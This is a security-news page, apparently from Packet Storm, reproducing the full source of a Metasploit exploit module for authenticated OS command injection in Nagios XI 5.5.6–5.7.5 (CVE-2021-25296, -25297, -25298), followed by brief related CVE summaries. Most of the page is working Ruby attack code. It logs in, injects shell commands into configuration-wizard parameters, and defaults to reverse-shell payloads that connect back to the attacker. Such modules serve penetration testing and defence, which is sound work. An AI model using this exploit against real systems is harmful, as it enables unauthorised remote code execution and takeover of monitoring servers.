Security
Headlines
HeadlinesLatestCVEs

Headline

Nagios XI 5.7.5 Remote Code Execution

This Metasploit module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm configuration wizards that allow an authenticated user to perform remote code execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user. Valid credentials for a Nagios XI user are required. This module has been successfully tested against official NagiosXI OVAs versions 5.5.6 through 5.7.5.

Packet Storm
#vulnerability#ios#windows#linux#apache#git#php#rce#perl#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HTTP::NagiosXi  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection',        'Description' => %q{          This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are          OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm          configuration wizards that allow an authenticated user to perform remote code          execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.          Valid credentials for a Nagios XI user are required. This module has          been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5.        },        'License' => MSF_LICENSE,        'Author' => [          'Matthew Mathur'        ],        'References' => [          ['CVE', '2021-25296'],          ['CVE', '2021-25297'],          ['CVE', '2021-25298'],          ['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md']        ],        'Platform' => %w[linux unix],        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],        'Targets' => [          [            'Linux (x86)', {              'Arch' => [ ARCH_X86 ],              'Platform' => 'linux',              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }            }          ],          [            'Linux (x64)', {              'Arch' => [ ARCH_X64 ],              'Platform' => 'linux',              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }            }          ],          [            'CMD', {              'Arch' => [ ARCH_CMD ],              'Platform' => 'unix',              # the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }            }          ]        ],        'Privileged' => false,        'DefaultTarget' => 2,        'DisclosureDate' => '2021-02-13',        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options [      OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296'])    ]  end  def username    datastore['USERNAME']  end  def password    datastore['PASSWORD']  end  def finish_install    datastore['FINISH_INSTALL']  end  # Returns a status code an a error message on failure.  # On success returns the status code and an array so we  # can update the login_result and res_array variables appropriately.  def handle_unsigned_license(res_array, username, password, finish_install)    auth_cookies, nsp = res_array    sign_license_result = sign_license_agreement(auth_cookies, nsp)    if sign_license_result      return 5, 'Failed to sign license agreement'    end    print_status('License agreement signed. The module will wait for 5 seconds and retry the login.')    sleep 5    login_result, res_array = login_after_install_or_license(username, password, finish_install)    case login_result    when 1..4 # An error occurred, propagate the error message      return login_result, res_array[0]    when 5 # The Nagios XI license agreement still has not been signed      return 5, 'Failed to sign the license agreement.'    end    return login_result, res_array  end  def authenticate    # Use nagios_xi_login to try and authenticate.    login_result, res_array = nagios_xi_login(username, password, finish_install)    case login_result    when 1..3 # An error occurred, propagate the error message      return login_result, res_array[0]    when 4 # Nagios XI is not fully installed      install_result = install_nagios_xi(password)      if install_result # On installation failure, result is an array with the code and error message        return install_result[0], install_result[1]      end      login_result, res_array = login_after_install_or_license(username, password, finish_install)      case login_result      when 1..4 # An error occurred, propagate the error message        return login_result, res_array[0]      when 5 # The license agreement still needs to be signed        login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)        return login_result, res_array unless (login_result == 0)      end    when 5 # The license agreement still needs to be signed      login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)      return login_result, res_array unless (login_result == 0)    end    print_good('Successfully authenticated to Nagios XI.')    # Extract the authenticated cookies and nsp to use throughout the module    if res_array.length == 2      auth_cookies = res_array[1]      if auth_cookies && /nagiosxi=[a-z0-9]+;/.match(auth_cookies)        @auth_cookies = auth_cookies      else        return login_result, 'Failed to extract authentication cookies'      end      nsp = res_array[0].match(/nsp_str = "([a-z0-9]+)/)      if nsp        @nsp = nsp[1]      else        return login_result, 'Failed to extract nsp string'      end    else      return login_result, 'Failed to extract auth cookies and nsp string'    end    # Set the version here so both check and exploit can use it    nagios_version = nagios_xi_version(res_array[0])    if nagios_version.nil?      return 6, 'Unable to obtain the Nagios XI version from the dashboard'    end    print_status("Target is Nagios XI with version #{nagios_version}.")    # Versions of NagiosXI pre-5.2 have different formats (5r1.0, 2014r2.7, 2012r2.8b, etc.) that Rex cannot handle,    # so we set pre-5.2 versions to 1.0.0 for easier Rex comparison because the module only works on post-5.2 versions.    if /^\d{4}r\d(?:\.\d)?(?:(?:RC\d)|(?:[a-z]{1,3}))?$/.match(nagios_version) || nagios_version == '5r1.0'      nagios_version = '1.0.0'    end    @version = Rex::Version.new(nagios_version)    return 0, 'Successfully authenticated and retrieved NagiosXI Version.'  end  def check    # Authenticate to ensure we can access the NagiosXI version    auth_result, err_msg = authenticate    case auth_result    when 1      return CheckCode::Unknown(err_msg)    when 2, 4, 5, 6      return CheckCode::Detected(err_msg)    when 3      return CheckCode::Safe(err_msg)    end    if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5')      return CheckCode::Appears    end    return CheckCode::Safe  end  def execute_command(cmd, _opts = {})    if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check      auth_result, err_msg = authenticate      case auth_result      when 1        fail_with(Failure::Disconnected, err_msg)      when 2, 4, 5, 6        fail_with(Failure::UnexpectedReply, err_msg)      when 3        fail_with(Failure::NotVulnerable, err_msg)      end    end    # execute payload based on the selected targeted configuration wizard    url_params = {      'update' => 1,      'nsp' => @nsp    }    # After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298    # changes from address to ip_address    if @version <= Rex::Version.new('5.5.7')      address_param = 'address'    else      address_param = 'ip_address'    end    # CVE-2021-25296 affects the windowswmi configuration wizard.    if datastore['TARGET_CVE'] == 'CVE-2021-25296'      url_params = url_params.merge({        'nextstep' => 3,        'wizard' => 'windowswmi',        'ip_address' => Array.new(4) { rand(256) }.join('.'),        'domain' => Rex::Text.rand_text_alphanumeric(7..15),        'username' => Rex::Text.rand_text_alphanumeric(7..20),        'password' => Rex::Text.rand_text_alphanumeric(7..20),        'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};"      })    # CVE-2021-25297 affects the switch configuration wizard.    elsif datastore['TARGET_CVE'] == 'CVE-2021-25297'      url_params = url_params.merge({        'nextstep' => 3,        'wizard' => 'switch',        address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};",        'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15),        'scaninterfaces' => 'on'      })    # CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by    # specifying the digitalocean option for the wizard parameter.    elsif datastore['TARGET_CVE'] == 'CVE-2021-25298'      url_params = url_params.merge({        address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};",        'nextstep' => 4,        'wizard' => 'digitalocean'      })    else      fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.')    end    print_status('Sending the payload...')    # Send the final request. Note that the target is not expected to respond if we get    # code execution. Therefore, we set the timeout on this request to 0.    send_request_cgi({      'method' => 'GET',      'uri' => '/nagiosxi/config/monitoringwizard.php',      'cookie' => @auth_cookies,      'vars_get' => url_params    })  end  def exploit    if target.arch.first == ARCH_CMD      execute_command(payload.encoded)    else      execute_cmdstager(background: true)    end  endend

Related news

CVE-2021-25298: Nagios - Network, Server and Log Monitoring Software

Nagios XI version xi-5.7.5 is affected by OS command injection. The vulnerability exists in the file /usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php due to improper sanitization of authenticated user-controlled input by a single HTTP request, which can lead to OS command injection on the Nagios XI server.

CVE-2019-9167: Security Disclosures - Nagios

Cross-site scripting (XSS) vulnerability in Nagios XI before 5.5.11 allows attackers to inject arbitrary web script or HTML via the xiwindow parameter.

CVE-2019-9167: Security Disclosures - Nagios

Cross-site scripting (XSS) vulnerability in Nagios XI before 5.5.11 allows attackers to inject arbitrary web script or HTML via the xiwindow parameter.

CVE-2019-9167: Security Disclosures - Nagios

Cross-site scripting (XSS) vulnerability in Nagios XI before 5.5.11 allows attackers to inject arbitrary web script or HTML via the xiwindow parameter.

Packet Storm: Latest News

Ivanti EPM Agent Portal Command Execution